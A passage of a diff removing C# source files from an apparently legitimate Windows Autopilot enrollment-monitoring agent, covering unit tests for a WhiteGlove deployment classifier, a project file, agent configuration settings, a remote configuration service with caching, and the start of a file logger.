Assert.Equal(WhiteGloveConfidence.Strong, result.Confidence);
|
||||
Assert.Equal(80, result.Score);
|
||||
Assert.True(result.ShouldRouteToWhiteGlovePart1);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Classify_OnlySaveWgSuccessResult_IsNoneNotWg()
|
||||
{
|
||||
// The core bug-avoidance test: SaveWhiteGloveSuccessResult=true alone has been
|
||||
// observed on genuinely non-WG devices and MUST NOT classify as WhiteGlove.
|
||||
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
|
||||
{
|
||||
HasSaveWhiteGloveSuccessResult = true,
|
||||
});
|
||||
|
||||
Assert.Equal(WhiteGloveConfidence.None, result.Confidence);
|
||||
Assert.Equal(10, result.Score);
|
||||
Assert.False(result.ShouldRouteToWhiteGlovePart1);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Classify_SaveWgPlusDeviceOnly_IsStillNone()
|
||||
{
|
||||
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
|
||||
{
|
||||
HasSaveWhiteGloveSuccessResult = true,
|
||||
IsDeviceOnlyDeployment = true,
|
||||
});
|
||||
|
||||
Assert.Equal(WhiteGloveConfidence.None, result.Confidence);
|
||||
Assert.Equal(25, result.Score);
|
||||
Assert.False(result.ShouldRouteToWhiteGlovePart1);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Classify_WeakSignalVerbundJustBelowThreshold_IsWeakNotWg()
|
||||
{
|
||||
// Mehrere weiche Signale alleine reichen nicht fuer Strong.
|
||||
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
|
||||
{
|
||||
IsFooUserDetected = true, // +20
|
||||
IsWhiteGloveStartDetected = true, // +15
|
||||
IsDeviceOnlyDeployment = true, // +15
|
||||
});
|
||||
|
||||
Assert.Equal(WhiteGloveConfidence.Weak, result.Confidence);
|
||||
Assert.Equal(50, result.Score);
|
||||
Assert.False(result.ShouldRouteToWhiteGlovePart1);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Classify_WeakSignalVerbundAtThreshold_IsStrongAndRoutes()
|
||||
{
|
||||
// Signalverbund erreicht gerade die 70 — laut Plan: WG.
|
||||
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
|
||||
{
|
||||
HasSaveWhiteGloveSuccessResult = true, // +10
|
||||
IsFooUserDetected = true, // +20
|
||||
IsWhiteGloveStartDetected = true, // +15
|
||||
IsDeviceOnlyDeployment = true, // +15
|
||||
AgentRestartedAfterEspExit = true, // +10
|
||||
});
|
||||
|
||||
Assert.Equal(WhiteGloveConfidence.Strong, result.Confidence);
|
||||
Assert.Equal(70, result.Score);
|
||||
Assert.True(result.ShouldRouteToWhiteGlovePart1);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Hard excluders
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void Classify_AadJoinedWithUser_OverridesStrongPositive()
|
||||
{
|
||||
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
|
||||
{
|
||||
ShellCoreWhiteGloveSuccess = true,
|
||||
AadJoinedWithUser = true, // real user — definitively not WG Part 1
|
||||
});
|
||||
|
||||
Assert.Equal(WhiteGloveConfidence.None, result.Confidence);
|
||||
Assert.Equal(0, result.Score);
|
||||
Assert.False(result.ShouldRouteToWhiteGlovePart1);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Classify_DesktopArrived_OverridesStrongPositive()
|
||||
{
|
||||
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
|
||||
{
|
||||
ShellCoreWhiteGloveSuccess = true,
|
||||
DesktopArrived = true,
|
||||
});
|
||||
|
||||
Assert.Equal(WhiteGloveConfidence.None, result.Confidence);
|
||||
Assert.Equal(0, result.Score);
|
||||
Assert.False(result.ShouldRouteToWhiteGlovePart1);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Classify_AccountSetupActivity_DampensButDoesNotHardExclude()
|
||||
{
|
||||
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
|
||||
{
|
||||
ShellCoreWhiteGloveSuccess = true, // +80
|
||||
HasAccountSetupActivity = true, // -40
|
||||
});
|
||||
|
||||
// 80 - 40 = 40 → Weak (NOT routed to WG)
|
||||
Assert.Equal(WhiteGloveConfidence.Weak, result.Confidence);
|
||||
Assert.Equal(40, result.Score);
|
||||
Assert.False(result.ShouldRouteToWhiteGlovePart1);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Placeholder user (foouser@ / autopilot@) — NOT aadJoinedWithUser
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void Classify_FooUserWithoutRealAadJoin_StaysStrong()
|
||||
{
|
||||
// Placeholder-User ist KEIN realer AAD-Join; Hard-Excluder greift nicht.
|
||||
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
|
||||
{
|
||||
ShellCoreWhiteGloveSuccess = true, // +80
|
||||
IsFooUserDetected = true, // +20
|
||||
AadJoinedWithUser = false, // Placeholder zählt NICHT als real
|
||||
});
|
||||
|
||||
Assert.Equal(WhiteGloveConfidence.Strong, result.Confidence);
|
||||
Assert.Equal(100, result.Score); // capped
|
||||
Assert.True(result.ShouldRouteToWhiteGlovePart1);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Hybrid join is NOT a dampener (removed per plan review)
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void Classify_HybridWithStrongSignal_StaysStrong()
|
||||
{
|
||||
// Hybrid-Join darf die WG-Klassifikation nicht dämpfen (WG funktioniert auch hybrid).
|
||||
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
|
||||
{
|
||||
ShellCoreWhiteGloveSuccess = true,
|
||||
IsDeviceOnlyDeployment = true,
|
||||
});
|
||||
|
||||
Assert.Equal(WhiteGloveConfidence.Strong, result.Confidence);
|
||||
Assert.Equal(95, result.Score);
|
||||
Assert.True(result.ShouldRouteToWhiteGlovePart1);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Late AAD-Join Transition
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void Classify_LateAadJoinFlipsStrongToNone()
|
||||
{
|
||||
// Vor dem Late-Update: Strong.
|
||||
var before = WhiteGloveClassifier.Classify(new WhiteGloveSignals
|
||||
{
|
||||
ShellCoreWhiteGloveSuccess = true,
|
||||
AadJoinedWithUser = false,
|
||||
});
|
||||
Assert.Equal(WhiteGloveConfidence.Strong, before.Confidence);
|
||||
Assert.True(before.ShouldRouteToWhiteGlovePart1);
|
||||
|
||||
// Nach dem Late-AAD-Update: None (harter Ausschluss).
|
||||
var after = WhiteGloveClassifier.Classify(new WhiteGloveSignals
|
||||
{
|
||||
ShellCoreWhiteGloveSuccess = true,
|
||||
AadJoinedWithUser = true,
|
||||
});
|
||||
Assert.Equal(WhiteGloveConfidence.None, after.Confidence);
|
||||
Assert.False(after.ShouldRouteToWhiteGlovePart1);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Session 304620a8 regression — WhiteGlove Part 2 re-entry after resume
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void Classify_Part2ResumeWithAllPositivesAndAadJoin_IsWeakNotStrong()
|
||||
{
|
||||
// Reproduziert den Signalstand beim 2. ESP-Exit in Session 304620a8-...:
|
||||
// Part 1 ist sauber durchgelaufen (Shell-Core + SaveWg + Event509 + FooUser),
|
||||
// Agent hat nach Part 1 rebootet, in Part 2 hat der reale User sich
|
||||
// eingeloggt (AadJoinedWithUser=true). Der 2. ESP-Exit darf nicht erneut
|
||||
// zu whiteglove_complete routen — Hard-Excluder muss das Routing kippen.
|
||||
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
|
||||
{
|
||||
ShellCoreWhiteGloveSuccess = true, // +80
|
||||
HasSaveWhiteGloveSuccessResult = true, // +10
|
||||
IsWhiteGloveStartDetected = true, // +15
|
||||
IsFooUserDetected = true, // +20
|
||||
AgentRestartedAfterEspExit = true, // +10
|
||||
AadJoinedWithUser = true, // -100 hard excluder
|
||||
});
|
||||
|
||||
Assert.False(result.ShouldRouteToWhiteGlovePart1);
|
||||
Assert.NotEqual(WhiteGloveConfidence.Strong, result.Confidence);
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// ShouldRouteToWhiteGlovePart1 only fires on Strong
|
||||
// =====================================================================
|
||||
|
||||
[Fact]
|
||||
public void Classify_ShouldRoute_OnlyOnStrong()
|
||||
{
|
||||
var none = WhiteGloveClassifier.Classify(new WhiteGloveSignals());
|
||||
var weak = WhiteGloveClassifier.Classify(new WhiteGloveSignals
|
||||
{
|
||||
IsFooUserDetected = true,
|
||||
IsDeviceOnlyDeployment = true,
|
||||
});
|
||||
var strong = WhiteGloveClassifier.Classify(new WhiteGloveSignals
|
||||
{
|
||||
ShellCoreWhiteGloveSuccess = true,
|
||||
});
|
||||
|
||||
Assert.Equal(WhiteGloveConfidence.None, none.Confidence);
|
||||
Assert.False(none.ShouldRouteToWhiteGlovePart1);
|
||||
|
||||
Assert.Equal(WhiteGloveConfidence.Weak, weak.Confidence);
|
||||
Assert.False(weak.ShouldRouteToWhiteGlovePart1);
|
||||
|
||||
Assert.Equal(WhiteGloveConfidence.Strong, strong.Confidence);
|
||||
Assert.True(strong.ShouldRouteToWhiteGlovePart1);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,41 +0,0 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
|
||||
<PropertyGroup>
|
||||
<TargetFramework>net48</TargetFramework>
|
||||
<LangVersion>latest</LangVersion>
|
||||
</PropertyGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<AssemblyAttribute Include="System.Runtime.CompilerServices.InternalsVisibleTo">
|
||||
<_Parameter1>AutopilotMonitor.Agent.Core.Tests</_Parameter1>
|
||||
</AssemblyAttribute>
|
||||
<AssemblyAttribute Include="System.Runtime.CompilerServices.InternalsVisibleTo">
|
||||
<_Parameter1>DynamicProxyGenAssembly2</_Parameter1>
|
||||
</AssemblyAttribute>
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\..\Shared\AutopilotMonitor.Shared\AutopilotMonitor.Shared.csproj" />
|
||||
<ProjectReference Include="..\..\Shared\AutopilotMonitor.DecisionCore\AutopilotMonitor.DecisionCore.csproj" />
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<PackageReference Include="Newtonsoft.Json" Version="13.0.3" />
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="..\..\..\rules\guardrails.json" LogicalName="AutopilotMonitor.Agent.Core.Resources.guardrails.json" />
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<Reference Include="System.Net.Http" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Management.Automation">
|
||||
<HintPath>$(windir)\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.ServiceProcess" />
|
||||
<Reference Include="System.IO.Compression" />
|
||||
<Reference Include="System.IO.Compression.FileSystem" />
|
||||
</ItemGroup>
|
||||
|
||||
</Project>
|
||||
@@ -1,271 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Configuration
|
||||
{
|
||||
/// <summary>
|
||||
/// Agent configuration settings
|
||||
/// </summary>
|
||||
public class AgentConfiguration
|
||||
{
|
||||
/// <summary>
|
||||
/// Backend API base URL
|
||||
/// </summary>
|
||||
public string ApiBaseUrl { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Session identifier for this enrollment
|
||||
/// </summary>
|
||||
public string SessionId { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Tenant identifier
|
||||
/// </summary>
|
||||
public string TenantId { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Local spool directory path
|
||||
/// </summary>
|
||||
public string SpoolDirectory { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Agent log directory path
|
||||
/// </summary>
|
||||
public string LogDirectory { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Upload interval in seconds
|
||||
/// </summary>
|
||||
public int UploadIntervalSeconds { get; set; } = 30;
|
||||
|
||||
/// <summary>
|
||||
/// Maximum batch size for events
|
||||
/// </summary>
|
||||
public int MaxBatchSize { get; set; } = 100;
|
||||
|
||||
/// <summary>
|
||||
/// Whether to use client certificate authentication
|
||||
/// </summary>
|
||||
public bool UseClientCertAuth { get; set; } = true;
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Log verbosity level: Info (default), Debug, Verbose.
|
||||
/// Overridable via remote config.
|
||||
/// </summary>
|
||||
public AgentLogLevel LogLevel { get; set; } = AgentLogLevel.Info;
|
||||
|
||||
/// <summary>
|
||||
/// Maximum retry attempts for failed uploads
|
||||
/// </summary>
|
||||
public int MaxRetryAttempts { get; set; } = 5;
|
||||
|
||||
/// <summary>
|
||||
/// Whether to self-destruct when enrollment completes (remove Scheduled Task and all files).
|
||||
/// This is the only cleanup mode — SelfDestruct always removes task + files.
|
||||
/// </summary>
|
||||
public bool SelfDestructOnComplete { get; set; } = true;
|
||||
|
||||
/// <summary>
|
||||
/// Name of the Scheduled Task to remove during self-destruct
|
||||
/// </summary>
|
||||
public string ScheduledTaskName { get; set; } = Constants.ScheduledTaskName;
|
||||
|
||||
/// <summary>
|
||||
/// Whether to reboot the device after enrollment completes
|
||||
/// </summary>
|
||||
public bool RebootOnComplete { get; set; } = false;
|
||||
|
||||
/// <summary>
|
||||
/// Delay in seconds before the reboot is initiated (shutdown.exe /r /t X).
|
||||
/// Default: 10 seconds
|
||||
/// </summary>
|
||||
public int RebootDelaySeconds { get; set; } = 10;
|
||||
|
||||
/// <summary>
|
||||
/// When true, the log directory is preserved after self-destruct/cleanup.
|
||||
/// All other files (binaries, config, spool, scheduled task) are still removed.
|
||||
/// </summary>
|
||||
public bool KeepLogFile { get; set; } = false;
|
||||
|
||||
/// <summary>
|
||||
/// Whether to enable geo-location detection (queries external IP services)
|
||||
/// </summary>
|
||||
public bool EnableGeoLocation { get; set; } = true;
|
||||
|
||||
/// <summary>
|
||||
/// NTP server address for time check during enrollment.
|
||||
/// Default: "time.windows.com"
|
||||
/// </summary>
|
||||
public string NtpServer { get; set; } = "time.windows.com";
|
||||
|
||||
/// <summary>
|
||||
/// Whether to automatically set the device timezone based on IP geolocation.
|
||||
/// Requires EnableGeoLocation to be true. Uses tzutil /s to apply.
|
||||
/// Default: false
|
||||
/// </summary>
|
||||
public bool EnableTimezoneAutoSet { get; set; } = false;
|
||||
|
||||
/// <summary>
|
||||
/// Optional custom path to IME logs directory for testing.
|
||||
/// If set, overrides the default %ProgramData%\Microsoft\IntuneManagementExtension\Logs path.
|
||||
/// </summary>
|
||||
public string ImeLogPathOverride { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Optional path to write every IME log line that matched a pattern (for debugging).
|
||||
/// If empty, no match log is written. Example: %ProgramData%\AutopilotMonitor\Logs\ime-matches.log
|
||||
/// </summary>
|
||||
public string ImeMatchLogPath { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Path to directory with real IME log files for log replay.
|
||||
/// When set, the agent replays these logs with time compression instead of reading live logs.
|
||||
/// </summary>
|
||||
public string ReplayLogDir { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Time compression factor for log replay.
|
||||
/// Higher values = faster replay. Default: 50 (e.g., 50 minutes of real logs = 1 minute of replay).
|
||||
/// </summary>
|
||||
public double ReplaySpeedFactor { get; set; } = 50;
|
||||
|
||||
/// <summary>
|
||||
/// Wait time in seconds after ESP exit before marking Hello as skipped.
|
||||
/// When ESP exits, we wait this duration for Hello wizard to start (event 62404).
|
||||
/// Default: 30 seconds (reasonable for systems under load).
|
||||
/// If Hello wizard starts within this window, we continue waiting for Hello completion (300/301).
|
||||
/// </summary>
|
||||
public int HelloWaitTimeoutSeconds { get; set; } = 30;
|
||||
|
||||
/// <summary>
|
||||
/// Maximum consecutive authentication failures (401/403) before the agent shuts down.
|
||||
/// Prevents endless retry traffic when the device is not authorized.
|
||||
/// 0 = disabled (retry forever). Default: 5.
|
||||
/// </summary>
|
||||
public int MaxAuthFailures { get; set; } = 5;
|
||||
|
||||
/// <summary>
|
||||
/// Maximum time in minutes the agent keeps retrying after the first auth failure.
|
||||
/// 0 = disabled (no time limit, only MaxAuthFailures applies). Default: 0.
|
||||
/// </summary>
|
||||
public int AuthFailureTimeoutMinutes { get; set; } = 0;
|
||||
|
||||
/// <summary>
|
||||
/// Maximum agent lifetime in minutes. Safety net to prevent zombie agents.
|
||||
/// The agent emits enrollment_failed with failureType "agent_timeout" when this expires.
|
||||
/// 0 = disabled (no lifetime limit). Default: 360 (6 hours).
|
||||
/// </summary>
|
||||
public int AgentMaxLifetimeMinutes { get; set; } = 360;
|
||||
|
||||
/// <summary>
|
||||
/// Absolute maximum session age in hours across all agent restarts.
|
||||
/// Emergency break: if the session has been alive longer than this, the agent
|
||||
/// forces cleanup and self-destructs regardless of enrollment state.
|
||||
/// Prevents zombie agents caused by unrecoverable logic errors.
|
||||
/// Respects WhiteGlove scenarios (timer resets on Part 2 resume).
|
||||
/// Default: 48 hours.
|
||||
/// </summary>
|
||||
public int AbsoluteMaxSessionHours { get; set; } = 48;
|
||||
|
||||
/// <summary>
|
||||
/// Bootstrap token for pre-MDM auth during OOBE.
|
||||
/// Embedded by the OOBE bootstrapper script via --bootstrap-token CLI arg.
|
||||
/// When set, sent as X-Bootstrap-Token header instead of cert auth.
|
||||
/// </summary>
|
||||
public string BootstrapToken { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Whether to use bootstrap token auth (true until MDM cert becomes available).
|
||||
/// </summary>
|
||||
public bool UseBootstrapTokenAuth { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Whether to show a visual enrollment summary dialog to the end user.
|
||||
/// </summary>
|
||||
public bool ShowEnrollmentSummary { get; set; } = false;
|
||||
|
||||
/// <summary>
|
||||
/// Auto-close timeout in seconds for the enrollment summary dialog.
|
||||
/// 0 = no auto-close. Default: 60
|
||||
/// </summary>
|
||||
public int EnrollmentSummaryTimeoutSeconds { get; set; } = 60;
|
||||
|
||||
/// <summary>
|
||||
/// Optional URL to a branding image for the enrollment summary dialog banner.
|
||||
/// </summary>
|
||||
public string EnrollmentSummaryBrandingImageUrl { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Maximum time in seconds the agent retries launching the enrollment summary dialog
|
||||
/// when the user's desktop is locked by a credential UI (e.g. Windows Hello).
|
||||
/// 0 = no retry (single attempt). Default: 120.
|
||||
/// </summary>
|
||||
public int EnrollmentSummaryLaunchRetrySeconds { get; set; } = 120;
|
||||
|
||||
/// <summary>
|
||||
/// Whether diagnostics upload is configured for this tenant.
|
||||
/// When true, the agent requests a short-lived upload URL from the backend just before uploading.
|
||||
/// The SAS URL itself is never stored in config — it is fetched on-demand and used in memory only.
|
||||
/// </summary>
|
||||
public bool DiagnosticsUploadEnabled { get; set; } = false;
|
||||
|
||||
/// <summary>
|
||||
/// When to upload diagnostics packages: "Off", "Always", "OnFailure".
|
||||
/// Default: "Off"
|
||||
/// </summary>
|
||||
public string DiagnosticsUploadMode { get; set; } = "Off";
|
||||
|
||||
/// <summary>
|
||||
/// Merged list of log paths/wildcards to include in the diagnostics ZIP package.
|
||||
/// Received from the backend config (global + tenant-specific).
|
||||
/// Each entry is validated against DiagnosticsPathGuards before use.
|
||||
/// </summary>
|
||||
public List<DiagnosticsLogPath> DiagnosticsLogPaths { get; set; } = new List<DiagnosticsLogPath>();
|
||||
|
||||
/// <summary>
|
||||
/// Whether the agent should send Trace-severity events to the backend.
|
||||
/// Controlled per tenant via remote config. Default: true (on in preview).
|
||||
/// </summary>
|
||||
public bool SendTraceEvents { get; set; } = true;
|
||||
|
||||
/// <summary>
|
||||
/// When true, agent guardrails are relaxed: all registry, WMI, and command targets are allowed.
|
||||
/// File/diagnostics paths allow everything except C:\Users.
|
||||
/// Default: false.
|
||||
/// </summary>
|
||||
public bool UnrestrictedMode { get; set; } = false;
|
||||
|
||||
/// <summary>
|
||||
/// Sanitized command-line arguments for the agent_started event.
|
||||
/// Secrets (e.g. bootstrap token) are redacted before assignment.
|
||||
/// </summary>
|
||||
public string CommandLineArgs { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// When true, the agent waits for an MDM certificate to appear before starting.
|
||||
/// Used when deploying the agent before Intune enrollment completes.
|
||||
/// The agent polls the certificate store every 5 seconds until a valid cert is found.
|
||||
/// </summary>
|
||||
public bool AwaitEnrollment { get; set; } = false;
|
||||
|
||||
/// <summary>
|
||||
/// Maximum time in minutes to wait for the MDM certificate in await-enrollment mode.
|
||||
/// 0 = wait indefinitely. Default: 480 (8 hours).
|
||||
/// </summary>
|
||||
public int AwaitEnrollmentTimeoutMinutes { get; set; } = 480;
|
||||
|
||||
/// <summary>
|
||||
/// Validates the configuration
|
||||
/// </summary>
|
||||
public bool IsValid()
|
||||
{
|
||||
return !string.IsNullOrEmpty(ApiBaseUrl) &&
|
||||
!string.IsNullOrEmpty(SessionId) &&
|
||||
!string.IsNullOrEmpty(TenantId);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,203 +0,0 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Transport;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Newtonsoft.Json;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Configuration
|
||||
{
|
||||
/// <summary>
|
||||
/// Fetches and caches remote configuration from the backend API
|
||||
/// Provides collector toggles and gather rules to the agent
|
||||
/// </summary>
|
||||
public class RemoteConfigService : IDisposable
|
||||
{
|
||||
private readonly BackendApiClient _apiClient;
|
||||
private readonly string _tenantId;
|
||||
private readonly AgentLogger _logger;
|
||||
private readonly string _cacheFilePath;
|
||||
private readonly EmergencyReporter _emergencyReporter;
|
||||
private readonly DistressReporter _distressReporter;
|
||||
|
||||
private AgentConfigResponse _currentConfig;
|
||||
private readonly object _configLock = new object();
|
||||
|
||||
/// <summary>
|
||||
/// Gets the current configuration (thread-safe)
|
||||
/// </summary>
|
||||
public AgentConfigResponse CurrentConfig
|
||||
{
|
||||
get
|
||||
{
|
||||
lock (_configLock)
|
||||
{
|
||||
return _currentConfig;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public RemoteConfigService(BackendApiClient apiClient, string tenantId, AgentLogger logger, EmergencyReporter emergencyReporter = null, DistressReporter distressReporter = null)
|
||||
{
|
||||
_apiClient = apiClient ?? throw new ArgumentNullException(nameof(apiClient));
|
||||
_tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId));
|
||||
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
|
||||
_emergencyReporter = emergencyReporter;
|
||||
_distressReporter = distressReporter;
|
||||
|
||||
var cacheDir = Environment.ExpandEnvironmentVariables(@"%ProgramData%\AutopilotMonitor\Config");
|
||||
_cacheFilePath = Path.Combine(cacheDir, "remote-config.json");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Fetches the initial configuration from the backend
|
||||
/// Falls back to cached config if the API is unreachable
|
||||
/// </summary>
|
||||
public async Task<AgentConfigResponse> FetchConfigAsync()
|
||||
{
|
||||
try
|
||||
{
|
||||
_logger.Info("Fetching remote configuration from backend...");
|
||||
var config = await _apiClient.GetAgentConfigAsync(_tenantId);
|
||||
|
||||
if (config != null)
|
||||
{
|
||||
_logger.Info($"Remote config fetched: ConfigVersion={config.ConfigVersion}, " +
|
||||
$"GatherRules={config.GatherRules?.Count ?? 0}");
|
||||
|
||||
LogCollectorSettings(config.Collectors);
|
||||
SetConfig(config);
|
||||
CacheConfig(config);
|
||||
return config;
|
||||
}
|
||||
|
||||
_logger.Warning("Remote config fetch returned empty response");
|
||||
}
|
||||
catch (BackendAuthException ex)
|
||||
{
|
||||
_logger.Warning($"Config fetch authentication failed: {ex.Message}");
|
||||
|
||||
// Auth failure → use distress channel (pre-auth, works without cert)
|
||||
if (_distressReporter != null)
|
||||
{
|
||||
_ = _distressReporter.TrySendAsync(
|
||||
DistressErrorType.ConfigFetchDenied,
|
||||
ex.Message,
|
||||
httpStatusCode: ex.StatusCode);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"Failed to fetch remote config: {ex.Message}");
|
||||
|
||||
// Non-auth failure → use authenticated emergency channel
|
||||
if (_emergencyReporter != null)
|
||||
{
|
||||
_ = _emergencyReporter.TrySendAsync(
|
||||
AgentErrorType.ConfigFetchFailed,
|
||||
ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
// Fall back to cached config
|
||||
var cached = LoadCachedConfig();
|
||||
if (cached != null)
|
||||
{
|
||||
_logger.Info("Using cached remote configuration");
|
||||
SetConfig(cached);
|
||||
return cached;
|
||||
}
|
||||
|
||||
// Fall back to defaults
|
||||
_logger.Info("No cached config available, using defaults (all optional collectors disabled)");
|
||||
var defaults = CreateDefaultConfig();
|
||||
SetConfig(defaults);
|
||||
return defaults;
|
||||
}
|
||||
|
||||
private void SetConfig(AgentConfigResponse config)
|
||||
{
|
||||
lock (_configLock)
|
||||
{
|
||||
_currentConfig = config;
|
||||
}
|
||||
}
|
||||
|
||||
private void LogCollectorSettings(CollectorConfiguration collectors)
|
||||
{
|
||||
if (collectors == null) return;
|
||||
|
||||
_logger.Info(" Collector settings:");
|
||||
_logger.Info($" Performance: {(collectors.EnablePerformanceCollector ? "ON" : "OFF")} (interval: {collectors.PerformanceIntervalSeconds}s)");
|
||||
}
|
||||
|
||||
private void CacheConfig(AgentConfigResponse config)
|
||||
{
|
||||
try
|
||||
{
|
||||
var dir = Path.GetDirectoryName(_cacheFilePath);
|
||||
if (!Directory.Exists(dir))
|
||||
Directory.CreateDirectory(dir);
|
||||
|
||||
// SECURITY: Never persist UnrestrictedMode to disk — require live backend auth
|
||||
var liveValue = config.UnrestrictedMode;
|
||||
config.UnrestrictedMode = false;
|
||||
var json = JsonConvert.SerializeObject(config, Formatting.Indented);
|
||||
config.UnrestrictedMode = liveValue;
|
||||
|
||||
File.WriteAllText(_cacheFilePath, json);
|
||||
_logger.Debug("Remote config cached to disk");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"Failed to cache remote config: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private AgentConfigResponse LoadCachedConfig()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (File.Exists(_cacheFilePath))
|
||||
{
|
||||
var json = File.ReadAllText(_cacheFilePath);
|
||||
var config = JsonConvert.DeserializeObject<AgentConfigResponse>(json);
|
||||
if (config != null)
|
||||
{
|
||||
// SECURITY: Never trust cached UnrestrictedMode — always require live backend auth
|
||||
config.UnrestrictedMode = false;
|
||||
}
|
||||
return config;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"Failed to load cached config: {ex.Message}");
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private AgentConfigResponse CreateDefaultConfig()
|
||||
{
|
||||
return new AgentConfigResponse
|
||||
{
|
||||
ConfigVersion = 0,
|
||||
UploadIntervalSeconds = 30,
|
||||
SelfDestructOnComplete = true,
|
||||
KeepLogFile = false,
|
||||
EnableGeoLocation = true,
|
||||
EnableImeMatchLog = false,
|
||||
Collectors = CollectorConfiguration.CreateDefault(),
|
||||
GatherRules = new System.Collections.Generic.List<GatherRule>(),
|
||||
ImeLogPatterns = new System.Collections.Generic.List<ImeLogPattern>()
|
||||
};
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
// Nothing to dispose
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,131 +0,0 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Logging
|
||||
{
|
||||
/// <summary>
|
||||
/// Log verbosity levels for the agent.
|
||||
/// Info = normal operational messages (default)
|
||||
/// Debug = includes DEBUG-tagged lines (component state, config, decisions)
|
||||
/// Verbose = includes VERBOSE-tagged lines (per-event details, hot-path tracing)
|
||||
/// </summary>
|
||||
public enum AgentLogLevel
|
||||
{
|
||||
Info = 0,
|
||||
Debug = 1,
|
||||
Verbose = 2,
|
||||
Trace = 3
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Simple file-based logger for the agent.
|
||||
/// Optionally mirrors output to the console when EnableConsoleOutput is set.
|
||||
/// </summary>
|
||||
public class AgentLogger
|
||||
{
|
||||
private readonly string _logFilePath;
|
||||
private AgentLogLevel _logLevel;
|
||||
private readonly object _lockObject = new object();
|
||||
|
||||
/// <summary>
|
||||
/// When true, log entries are also written to Console.Out (same format as the log file).
|
||||
/// Set via --console flag or programmatically.
|
||||
/// </summary>
|
||||
public bool EnableConsoleOutput { get; set; }
|
||||
|
||||
public AgentLogger(string logDirectory, AgentLogLevel logLevel = AgentLogLevel.Info)
|
||||
{
|
||||
_logLevel = logLevel;
|
||||
|
||||
if (!Directory.Exists(logDirectory))
|
||||
{
|
||||
Directory.CreateDirectory(logDirectory);
|
||||
}
|
||||
|
||||
var logFileName = $"agent_{DateTime.Now:yyyyMMdd}.log";
|
||||
